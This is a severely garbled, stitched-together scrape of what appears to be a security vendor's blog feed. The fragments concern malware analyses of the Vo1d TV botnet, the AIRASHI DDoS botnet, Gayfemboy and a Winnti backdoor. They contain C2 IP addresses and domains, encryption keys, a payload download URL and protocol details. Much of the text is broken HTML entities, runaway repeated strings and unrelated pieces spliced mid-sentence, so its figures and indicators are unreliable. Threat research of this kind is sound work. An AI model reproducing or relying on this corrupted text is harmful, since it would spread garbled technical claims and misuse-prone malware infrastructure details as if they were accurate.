</strong>&#x4EC5;&#x5C06;DGA&#x79CD;&#x5B50;&#x6570;&#x91CF;&#x4ECE;&#x65E7;&#x7248;&#x672C;&#x7684;4&#x4E2A;&#x589E;&#x52A0;&#x5230;&#x4E86;32
<code>xyz</code>&#x3001;<code>top</code>&#x3001;<code>com</code> &#x548C; <code>net</code>&#xFF0C;&#x4F46; <code>xyz</code>
&#x5E76;&#x672A;&#x5B9E;&#x9645;&#x6295;&#x5165;&#x4F7F;&#x7528;&#x3002;&#x6B64;&#x5916;&#xFF0C;&#x4E0D;&#x540C;&#x6837;&#x672C;&#x4F7F;&#x7528
<strong>8&#x7EC4;&#xFF0C;&#x5171;&#x8BA1;256&#x4E2A;DGA&#x79CD;&#x5B50;
</strong>&#xFF0C;&#x5176;&#x4E2D;&#x5355;&#x4E2A;&#x79CD;&#x5B50;&#x751F;&#x6210;&#x7684;&#x57DF;&#x540D;&#x6570;&#x91CF;&#x4E3A;</strong>220</strong> &#x6216; <strong>500</strong>
&#x4E2A;&#xFF0C;&#x56E0;&#x6B64;1&#x7EC4;DGA&#x751F;&#x6210;&#x7684;&#x57DF;&#x540D;&#x603B;&#x6570;&#x4E3A;
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服务</strong>&#xFF08;Google Play
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$\exists = \frac{1}{2} 
\&\pi 4\text{8} \\ \pi 
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 <mg src="https://blog.xlab.qianxin.com/content/images/2025/02/vold_test_logs.png"
alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vold&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x
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 <4p>&#x8FDB;&#x4E00;&#x6B65;&#x5206;&#x6790;&#x53D1;&#x73B0;&#xFF0C;&#x4E0A;&#x8FF0;C2&#x5BF9;&#x5E94;&#x7684;&#x6838;&#x5FC3; IP
%strong>3.146.93.253%#x7684;多个端口(55500、55501、55503、55600)分别分&#x914
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的多个端口(55500、55501、55503、55600)分ԫ分分ԫ分ԫ分名�过多个端口和域名刀�过多个端口和域名刀�过多个端口和域名刀刀&#x5200

<!string>&#x4E0; &#x4E2A; &#x95EE; &#xy8898; &#xFF0C; &#x6211; &#x4EEC; &#x5BF9; &#x4E8E; &#x5982; &#x6B64; &#x5927; &#x89C4; &#x6A21; &#x7684; &#x4E00; &#x4E2
</strong>&#x5728; &#x505A; &#x4EC0; &#x4E48;
</strong>&#x5728; &#x505A; &#x4EC0; &#x4E48;
</strong>&#x4F9D; &#x7136; &#x662F; &#x4E00; &#x7247; &#x7A7A; &#x767D; &#x3002; &#x4E3A; &#x4E86; &#x56DE; &#x7B54; &#x8FD9; &#x4E2A; &#x95EE; &#x9898; &#xFF0
<code>XLab&#x6307; &#x4EE4; &#x8DDF; &#x8E2A; &#x7CFB; &#x7EDF;
</code>&#x4E2D; &#x5B9E; &#x73B0; &#x4E86; Vold&#x7684; &#x7F51; &#x7EDC; &#x534F; &#x8BAE; &#x3002; &#x6B63; &#x6240; &#x8C13; &quot; &#x6709; &#x5FC3; &#x4EB

pgy toduc#x3+vu; c#xx0s3/;c#x4E5F;c#x901A;c#x8FC7;asr\_xxteac#x7B97;c#x6CD5;c#x52A0;c#x5BC6;c#xFF0C;c#x79D8;c#x94A5;c#x4E3A;c#x7684; <code>d99202323077ee9e</code>c%#x3002;c#x89E3;c#x5BC6;c#x51FA;c#x7684;DEXC#x53EA;c#x4E00;c#x4E2A;c#x201D;c#x9AA8;c#x67B6;c#x201C;c#xFF0C <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d\_emptymethod.png" alt="风c#x4E91;c#x518D;c#x8D77;c#xFF1A;c#x5168;c#x7403;160c#x4E07;c#x7535;c#x89C6;c#x88AB;Vo1dc#x50F5;c#x5C38;c#x7F51;c#x7EDC;c#x64CD;c#x5tyle="zoom: 600;">c#x64CD;c#x518D;c#x518D;c#x518D;c#x518D;c#x518D;c#x5168;c#x7403;160c#x4E07;c#x7535;c#x89C6;c#x88AB;Vo1dc#x50F5;c#x5C38;c#x7F51;c#x7EDC;c#x64CD;c#x518D;c#x

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简单来说,Mzmess是一个模块化的Android恶意家&#x65CF
 36#x90E8;6#x5206;6#x7EC4;6#x6210;6#xFF0C;6#x5B83;6#x4EEC;6#x5404;6#x81EA;6#x7684;6#x5206;6#x5DE5;6#x5982;6#x4E0B;6#xFF1A;
 <ntry&#x8D1F;&#x8D23;&#x4E0B;&#x8F7D;sdk</li><sdk&#x8D1F;&#x8D23;&#x81EA;&#x8EAB;&#x7684;&#x66F4;&#x65B0;&#xFF0C;&#x4EE5;&#x53CA;&#x7BA1;&#x7406;&#x4E0B;&#x8F7D;plugin</li>
 quino#x5573;6#x5404;6#x79CD;6#x4E1A;6#x52A1;6#x52P;6#x80FD;6#xFF0C;6#x5982;6#x4EE3;6#x7406;6#xFF0C;6#x5E7F;6#x54A4;6#x5237;6#x91CF;6#x7B

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 <code>&#x9010;&#x5B57;&#x8282;&#x5F02;&#x6216;</code>&#x7684;&#x52A0;&#x5BC6;&#x65B9;&#x5F0F;&#x3002; <img</pre>
 src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzxor.png" alt="风云再起:全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
 <code>version<code>channel/code>&#xFF0C;&#x800C;body&#x5219;&#x4F7F;&#x7528;AES-256
ECB&#x6A21;&#x5F0F;&#x52A0;&#x5BC6;&#xFF0C;&#x5176;&#x4E2D;version&#x786C;&#x7F16;&#x7801;&#x5728;&#x672C;&#x4E2D;&#xFF0C;channel&#x521
<code>DE252F9AC7624D723212E7E70972134D</code>&#x3002;reporter&#x7684;&#x5904;&#x7406;&#x8FC7;&#x7A0B;&#x7C7B;&#x4F3C;&#xFF0C;&#x53EA;&#x662F;bo
<code>bc252F9AC/0240/72512cF7699/1254D</code>&#X3002; reporter@#X7004; ##X3004; ##X7400; @#X7400; @#X7400;
 alt="6#x98CE;6#x4E91;6#x518D;6#x8D77;6#xFF1A;6#x5168;6#x7403;1606#x4E07;6#x7535;6#x8B0G;6#x8BAB;Vold6#x50F5;6#x5C38;6#x7F51;6#x7EDC;6#x64CD;6#x style="zoom:67%;"> <h3 id="3-mzmess-sdk">3. Mzmess SDK</h3> SDK6#x7684;6#x4E3B;6#x8B81;6#x529F;6#x80FD;6#x662F;6#x7EF4;6#x62A4;6#x81EA;6#x8EAB;6#x7684;6#x5347;6#x7EA7;6#x66F4;6#x65B0;6#xFF0C;6#x4EE5;6
  <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzsdkconf.png"
alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vo1d&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x</pre>
 style="zoom:67%;">
 <ppugin&#x7684;&#x4E5F;&#x662F;&#x901A;&#x8FC7;P0ST&#x65B9;&#x6CD5;&#x8BF7;&#x6C42;&#xFF0C;&#x5B83;&#x7684;body&#x90E8;&#x5206;&#x4F7F;&#x752</p>
<code>{&quot;cdist&quot;:&quot; &quot;, &quot;; &qu
 style="zoom:67%;">
 <DK&#x63A5;&#x6536;&#x5230;&#x6B64;&#x7C7B;&#x54CD;&#x5E94;&#x540E;&#xFF0C;&#x901A;&#x8FC7;AES&#x89E3;&#x5BC6;&#xFF0C;&#x5E76;&#x6839;&#x636</p> <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzpopan.png"</p>
 alt="%#x98CE;云再起:络操万电视被Vo1d僵尸网络操&#x style="zoom:67%;"> <h3 id="4-mzmess-plugin">4. Mzmess Plugin</h3> &#x7535;&#x89C6;&#x524D;&#x53EA;&#x6355;&#x83B7;&#x4E86;4&#x4E2A;&#x4E0D;&#x540C;&#x7684;Plugin&#xFF0C;&#x6211;&#x4EEC;&#x76F4;&#x63A5;&#x6839;&#x63
 code>popa㠁jaguar㠁spiritcode>popa㠁jaguar㠁spiritcode>popa㠁jaguar㠁jaguar㠁spiritcode>popa㠁jaguar㠁jaguar㠁spiritcode>bysa80Fp;从这些Plugin的功&#x8FDF);杫看&#xFF0code>popacode>popaplugincontent/images/2025/02/vo1d_popan.png"
alt="风云再起:全球160万电视被Vo1d僵尸网络操&#x
 style="zoom:67%;">
 opa插件主要用于代理,样本中硬编码了9&#x4E2A
<code>https[:]//drive.usercontent.google.com/download?id=1K95AXo75gi-
jJSE9vuVPVEyBya@JUm@w</code>&#x4E0B;&#x8F7D;&#x52A0;&#x5BC6;&#x6570;&#x636E;&#xFF0C;&#x4F7F;&#x7528;AES-
 | CEG&#x$9E3;&#x$EC6;&#x$40E;&#x$40E;&#x$316;&#x$5106;,AE5 秘钥为<code>eeorahrabcap286!</code>
&#x3002;&#x4ECE;&#x89E3;&#x5BC6;&#x540E;&#x7684;&#x6570;&#x636E;&#x6765;&#x770B;&#x7F0C;&#x786C;&#x7F16;&#x7801;C2&#x548C;&#x7F51;&#x76D8;&#x4E
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_popaaes.png"
style="zoom:67%;">
  最后通过TCP+SSL和ProxyC2建立连接,执行代理瑨&#x517
 <p
 35;t= 150m;075;
jayuar插件的主要功能由native层的libjaguar.so实现,java层<code>startAgent</code>&#x3002;
 {\(\cdo\) \(\cdo\) \(
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 style="zoom:67%;">
 spirit插件支持执行javascript代码,用于广告推广&#xFFXE7F,&#xFFXE7F,&#xFFXE7F,&#xFFXE7F,&#xFFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,&#xFXE7F,
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               </h1>
               在溯源Vo1d僵尸网络的早期版本时,发现了
               <strong>synntre.com</strong>&#xFF0C;<strong>remoredo.com</strong>&#xFF0C;&#x6211;&#x4EEC;&#x8BA4;&#x4E3A;&#x5B83;&#x4EEC;&#x89E3;&#x6790;&#x7684;IP<strong>3.17.255.32</strong>
               是早期版本的核心C2 IP之一。 <img
              arc="https://blog.xlab.gianxin.com/content/images/2025/02/vo1d_clue1.png"
alt="风云再起:全球160万电视被Vo1d僵尸网络操&#x
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               某一天我们突然想起synntre.com的相关样本中还&
<strong>&#x6210;&#x529F;
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               %-y-这是我们目前掌握的Vo1d僵尸网络的大部分
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               Architects 是一家已解散的互联网开发公司,&#x6210
               2002
               年,专注于收购和开发首屈一指的域名&#x548C
               Web
               资产。2019年3月该公司因为司法纠纷原因,&#
               <#x5176;&#x4E8C;&#x4E3A;&#xFF1A;&#xAE3B;&#x5E74;4&#x6708;-2021&#x5E74;9&#x6708;28&#x65E5;&#xFF0C;ai.com&#x5C5E;&#x4E3B;&#x8EDB;&#x884C;&#x</p>
               a href="http://buy.internettraffic.com/?ref=blog.xlab.qianxin.com" rel="noopener noreferrer">buy.internettraffic.com</a>,&#xA0;<a
              href="http://sell.internettraffic.com/?ref=blog.xlab.qianxin.com" rel="noopener noreferrer">sell.internettraffic.com/a-, 可以合理猜测其仍然处在待Ԯ状态。
               id="%E8%B9%ADai%E7%83%AD%E7%82%B9%EF%BC%8C%E5%BE%85%E5%94%AE%E7%8A%B6%E6%80%81">热热点,待售状炶
               </h3>
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\*x4ECE; 2021年 9月 28日 开 始 一 直 到 现 在 , 该 域 名 的 吀 名

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116#xFF09;񕣹ai.com解析到的Cloudflare地址进行分析发现现:
         01之后,这两个IP上承载的域名分别为1830和2157&#x
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  的热度售卖有前途的域名或者吸引用户&#xFF1B
  加持'的各种高大上功能的空气币༈无&#x5B9EChatGPT)在爆吆后迅速出现大量仿冒和诈骗的
  closed id="https://cyble.com/blog/the-growing-threat-of-chatgpt-based-phishing-attacks/?ref=blog.xlab.qianxin.com"
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           href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/">a premeditated large—scale DDoS attack targeting the distribution platforms of the chinese game Black Myth: Wukong, namely Steam and Perfect World</a>. This attack operation was divided into four waves, with the attackers carefully selecting the peak online hours of gamers in various time zones
       </description>
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/ul> The operator of AIRASHI has been posting their DDoS capability test results on Telegram. From historical data, it can be observed that the attack capacity of the AIRASHI botnet remains stable around 1-3 Tbps.
Tbps.
Images/2025/01/aisuru_powerproof.2025-01-15-11.08.02.jpg" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy">
<h2 id="ddos-activities">DDOS Activities
DDOS Activities
/h2 The attack targets of the AIRASHI botnet are spread globally across various industries, with the primary targets located in regions such as China, the United States, Poland, and Russia. There is no clear, strong targeting strategy. The botnet typically attacks several hundred targets each day.
<h2 images/2025/01/trends.airashi..56.44.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy">
<h1 id="sample-analysis">Sample Analysis
ForThe AIRASHI botnet sample is frequently updated and has multiple versions. Some versions, in addition to supporting the main DDOS functionality and operating system command execution, also support proxy services. The following analysis focuses on kitty and AIRASHI, examining technical details of the botnet from aspects such as <strong>string decryption, C2 retrieval, communication protocols, and supported commands.

<h2 id="part1-kitty-socks5">Part1: kitty-socks5
h2 id="part1-kitty-socks5">Part1: kitty-socks5
For Devious AISURU samples, it has simplified the network protocol. By the end of October, it started using SOCKS5 proxies to communicate with the C2 server, and it encoded 250 proxies and 55 C2
```

```
addresses in the string table. <h3 id="0x1-decryption-of-strings-yex bern modified to extrong>DetabBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGABEBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEBBEETGATEB
                href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/#aisuru%E5%83%B5%E5%B0%B8%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A% includes a YouTube link to a conga dance track and a dance invitation. Additionally, there's a request for xlab and foxnointel to name this variant "AIRASHI".
              <br/><br/><strong>2. Key Confirmation</strong><br/>br> - A message with type 1 is encrypted using CHACHA20 and sent. The returned message type is
verified to ensure it is also type 1.<br/>br> <strong>3. Send Startup Packet</strong><br/>br> - The architecture type is obtained by reading the ELF
header. The structure of the startup packet is as follows:<br/>dry code>c struct login{ uint8 uk1; uint8 uk2; uint8 uk2; uint32 stunIP; uint32
             verified to ensure it is also type 1. dps strongp3, Send Startup Packet/strongp3-dps—The architecture type is obtained by reading the ELF header. The structure of the startup packet is as follows:dps
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Networks&#x516C;&#x53F8;&#x7684;cnPilot&#x8DEF;&#x7531;&#x5668:0DAY&#x6F0F;&#x6D1E;&#x4F20;&#x64AD;&#x6837;&#x672C;
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System Number, ASN&#xFF09;&#x3002;chitps://blog.xlab.qianxin.com/content/images/2025/01/pdns.xlabsecurity.ru.png"
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      code>AIRASHI/code> 使用的怞倞ւ下༚                                                                                                                                                                                                                                                    <tabl
       Telegram、Discord
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code>Kitty=Kitty=Kitty=Code>, 每 隔 26#x5206; 钟 向 C2񕄁 生 异 跳 跳 包 code>catcode>, C2返 回 <code>meow!code>&#x4F5C; &#x4E3A; &#x54CD; &#x5E94; &#x3002; <mp>
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alt="僵尸永远不死:大型僵尸网络AIRASHI近况分&#x
loading="lazy">
      -<mx.6307; &.#x4EE4; &.#x7C7B; &.#x578B; &.#x4ECD; &.#x4EE5; DDoS&.#x4EE3A; &.#x4E3B; &.#xFF0C; &.#x6DFB; &.#x52A0; &.#x4E86; &.#x52D; &.#x5411; shell&.#x7684; &.#x529F; &.#x</p>
      DDoS:最早发现于10月底,功能以DDoS为񎐻,也&#x53
       Go-Proxisdk:
最早发现于11月底,由Go编写的于muxado的代&#x74
 AIRASHI-Proxy:最早发现于12月初,魔改AIRASHI-
      DDoS的同一套源码,使用私有协议实现代理&#x

      AIRASHI和 AISURU存 在 一 些 相 似 之 处 , 如 果 说 kitty是 AISURU&#x7
      <code>Go-
Proxisdk</code>&#x540E;&#x5F0C;&#x53C8;&#x5F00;&#x53D1;&#x4E86;&#x81EA;&#x5B9A;&#x4E49;&#x534F;&#x8BAE;&#x7684;&#x4EE3;&#x7406;&#x5DE5;&#x5177;
       <code>AIRASHI-
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      RC4解密字符串解密</hd>
      AIRASHI和 AISURU在 塗 砦 䘲 襣 壆 斉 面 有 䘀 䚈 共 性  &#x7667
<code>snow slide</code>&#xFF18; &#x4F7F; &#x7528; <code>|
      </code>&#x5206;&#x5272;&#x7279;&#x6B8A;&#x5B57;&#x7B26;&#x4E32;&#x3002;Prxoy&#x7248;&#x672C;&#x548C;DDoS&#x7248;&#x672C;&#x7684;&#x89E3;&#x5B56
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     DDoS,在开发初期(10月底),使用最普通的&
       AIRASHI-
      Proxy,通过DNS服务器获取C2的TXT记录,解析明文IP

      DOSS#xFF0C;在11月底,通过DNS服务器获取C2的TXT记录,b
     -如下图首先会ב送Header部分消息,确认消息
      <br> <img src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_msg.png"</pre>
      alt="僵尸永远不死:大型僵尸网络AIRASHI近况分&#x
      loading="lazy">

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loading="lazy">  <strong>&#x6D88;&#x606F;&#x7C7B;&#x578B;</strong><br/>bD0S%#x5171;&#x652F;&#x6301;13&#x79CD;&#x6D88;&#x606F;&#x7C7B;&#x578B;</strong><br/>c#x7C7B;&#x578B;</strong><br/>c#x5D85;&#x7684;&#x7684;&#x7406;&#x7406;
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loading="lazy">   <code>AIRASHI
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full of ambition but leave in dismay, leaving behind a series of Mirai variants that ]]>
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          黑产行业,幻想着靠僵尸网络大赚一笔&#x3002
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         %#x9ED1;产衄业,幻想着鼅&#x5G78;$#x5G78;$#x5F51;络幻一笔&#x30023–4 天的 Mirai 变种。然而,今天的主角
         派生版本,毫无新意。然而,其背后的&#x5F00
         UPX 变形壳,积极整合 Nday 漏洞,甚至自ࡌ挖掘 Oday 漏洞,持续扩大
         的未知漏洞传播样本。这一发现让我们&#x51B3
<strong>&#x6CE8;&#x51BC;&#x4E86;&#x90E8;&#x5206; C2 &#x57DF;&#x540D;
</strong>&#x7528;&#x4EE5;&#x89C2;&#x5BDF;&#x88AB;&#x611F;&#x67D3;&#x7684;&#x8BBE;&#x5907;&#xFF0C;&#x4EE5;&#x53CA;&#x5EA6;&#x91CF;&#x50F5;&#x5C3
          Gayfemboy
          拥有40多个上线分组,日活跃节点已经超&#x8F
          %#x4E07;。有意思的是,当境发现域名被我们&#x6CE8
 <strong>&#x4F9D;&#x6258;&#x4E8E;XLab&#x5927;&#x7F51;&#x5A01;&#x80C1;&#x611F;&#x7TE5;&#x7CFB;&#x7EDF;&#x7684;&#x80FD;&#x529B;
</strong>&#xFF0C;&#x56DE;&#x987E;Gayfemboy&#x7684;&#x6F14;&#x5316;&#x5386;&#x7A0B;&#xFF0C;&#x6211;&#x4EEC;&#x89C1;&#x8BC1;&#x4E86;&#x5B83;&#x4E
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</code>&#x3002; <

```
2024年02月12日,XLAB首次发现Gayfemboy样本,使用普&#x901A
  <code>1wom</code>&#xFF0C; bot&#x4EE3; &#x7801; &#x57FA; &#x4E2A; C2&#x57DF; & &#x58PA; &#xFF0C; &#x5076; &#x5C14; &#x65B0; &#x589E; &#x51E0; &#x4E2A; C2&#x57DF; & &#x58PA; &*x58PA; &*x58PA; &*x58PA; &*

  2024年8月底,是本本硬编码6个C2,后3个C2是未注注编编编编缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐缐&#x7F
  2024年11月17日,我们注册了Gayfemboy样本中部分未&#x

   2024年11月23日,Gayfemboy的所有者发现我们注册了&#x  2024年12月27日,<a href="https://vulncheck.com/blog/four-faith-cve-2024-12856?" ref=blog.xlab.qianxin.com">VulnCheck</a>  2024&#x5E74;12&#x6708;27&#x65E5;&#xFF0C;<a href="https://vulncheck.com/blog/four-faith-cve-2024-12856?" ref=blog.xlab.qianxin.com">VulnCheck</a>  64x45E86;&#x56DB;&#x4FE1;&#x50E5;&#x7531;&#x5668;  0day&#x7684;&#x6F0F;&#x6D1E;&#x4FE1;&#x606F;&#x3002;  64x6F0F;&#x6D1E;&#x4FE1;&#x60AB;&#x6F0F;&#x6D1E;&#x52B3;&/h1>
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  301.00m/n",该特征从发现样本开始一直没有改&#x5<br/>

<img src="https://blog.xlab.qianxin.com/content/images/2025/01/strings.png"<br/>
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  toading= tazy /-,p/
为隐藏恶意进程,样本启动后会尝试从&#x6
<code>test_write</code>&#x4F5C;&#x4E3A;&#x6D4B;&#x8BD5;&#xFF0C;&#x6210;&#x529F;&#x540E;&#x4F1A;&#x5220;&#x9664;&#x8BE5;&#x6587;&#x4EF6;&#xFF0C;
  </code>&#x4E0A; &#x4F0F; &#x8Eb5; &#x8FDB; &#x7A0B; &#x5228; /proc&#x6587; &#x4EF6; &#x7CFB; &#x7EDF; &#x4E2D; &#x4E0D; &#x53EF; &#x89C1; &#xFF0C; &#x4Ee5; &#x
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Line Pty Ltd 209.141.32.148 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.35.36 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.55.38 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.55.38 United States|Nevada|Las Vegas AS53667|FranTech Solutions 37.114.63.100 Germany|Hessen|Frankfurt am Main AS60461|intercolo GmbH 45.142.122.187 Russia|Moscow|Moscow AS210644|AEZA GROUP Ltd 65.175.140.164 United States|Massachusetts|Boston AS11776|Breezeline 77.90.22.35 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 95.214.53.211 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. meowware.ddns.net </code> <h3 id="cc"><CCC</h3> <code>meowware.ddns.net </code> <h3 id="sample-sha1">Sample SHA1</a>/h3> <code> <h1 id="sample-sha1">Sample SHA1 <h1 id="sa
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detected anomalous activity: <code>IP 172.247.127.210</code> was distributing an <strong>ELF-based Winnti backdoor</strong>. Further
investigation revealed the same IP had, on December 20, 2023, distributed a zero-detection malicious PHP file, init_task.txt, providing ]]>
      </description>
     <p

√ < category>

           <![CDATA[ APT ]]>
      </category>

√ < category;
</p>
           <![CDATA[ Winnti ]]>
      </category>

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ctd=adio543626782078051050457862057405 ctd=1/022/td= 4cd=2024-11-022/td> <
             <code>etr_instalt</code></strong>: bowntoads and executes the winnth backdoor.(BT) panels to collect sensitive information and modify system files.// Infects PHP files to embed code for subsequent payload delivery.// Infects PHP files to embed code for subsequent payload delivery.// Infects PHP files to embed code for subsequent payload delivery.// Infects PHP files to embed code for subsequent payload delivery.// Infects PHP files to embed code for subsequent payload delivery.// Infects PHP files to embed code for subsequent payload delivery.// Infects PHP files to embed code for subsequent payload delivery.// Infects Baota
